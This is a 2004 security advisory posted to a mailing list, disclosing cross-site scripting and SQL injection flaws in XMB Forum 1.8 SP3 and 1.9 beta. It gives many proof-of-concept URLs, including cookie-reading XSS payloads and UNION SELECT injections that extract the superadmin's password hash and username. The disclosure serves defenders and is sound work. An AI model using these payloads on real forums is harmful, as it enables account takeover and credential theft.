Message-ID: <20040326183558.21233.qmail@web21409.mail.yahoo.com> From: come2waraxe at yahoo.com (Janek Vind) Subject: [waraxe-2004-SA#012 - Multiple vulnerabilities in XMB Forum 1.8 SP3 and 1.9 beta] {================================================================================} { [waraxe-2004-SA#012] } {================================================================================} { } { [ Multiple vulnerabilities in XMB 1.8 Partagium SP3 and 1.9 Nexus Beta ] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 26. March 2004 Location: Estonia, Tartu Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Extreme Messageboard aka XMB is very popular and feature rich forum, based on php and mysql. More information can be found on sites http://www.aventure-media.co.uk and http://www.xmbforum.com Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ok, we have lot's of the security flaws to disclosure, so let's begin... 1. php and webserver info disclosure and possible XSS Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum software. Original code: <?php /* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */ phpinfo(); ?> In this way ANYONE can get lot's of insider information from webserver and php engine environment - good startup for attacker... And even "better" - phpinfo.php can be used for exploiting the XSS: http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(document.cookie);</script> 2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta Example http request: http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);> Remark: Log off before trying this or it will not work! 3. XSS in editprofile.php --> only in 1.9 beta Example request: http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheader=<body%20onload=alert(document.cookie);> 4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta Example request: http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(document.cookie);> 5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta Reason --> uninitialized variables $viewmost,$replymost,$latest http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><body%20onload=alert(document.cookie);> http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea><body%20onload=alert(document.cookie);> http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><body%20onload=alert(document.cookie);> 6. XSS in post.php Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></textarea><body%20onload=alert(document.cookie);> http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%20onload=alert(document.cookie);> 7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.cookie);> http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onload=alert(document.cookie);> http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onload=alert(document.cookie);> http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onload=alert(document.cookie);> http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20onload=alert(document.cookie);> 8. Sql injection and XSS in forumdisplay.php http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=alert(document.cookie);> Remark: will work only, when no user logged in, because logging in will override the $tpp value. *************** [really scary sql injection bugs] *************** 9. sql injection and XSS in member.php --> only in 1.9 beta version Let's look at original code, line 461: switch($self['status']){ case 'member'; $restrict .= " f.private !='3' AND"; case 'Moderator'; case 'Super Moderator'; $restrict .= " f.private != '2' AND"; case 'Administrator'; $restrict .= " f.userlist = '' AND f.password = '' AND"; case 'Super Administrator'; break; default: $restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND"; break; } Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want: http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=foobar You have an error in your SQL syntax. XSS: http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=<body%20onload=alert(document.cookie);> And now the funniest part - how to get superadmin's password's md5 hash from database: http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/* Or u want superadmin's username? Here it is: http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/* 10. sql injection and XSS in misc.php --> only in 1.9 beta version http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onload=alert(document.cookie);> http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/* 11. sql injection and XSS in today.php --> only in 1.9 beta version http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(document.cookie);> *************** [/really scary sql injection bugs] *************** Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to torufoorum members and to all bugtraq readers in Estonia!
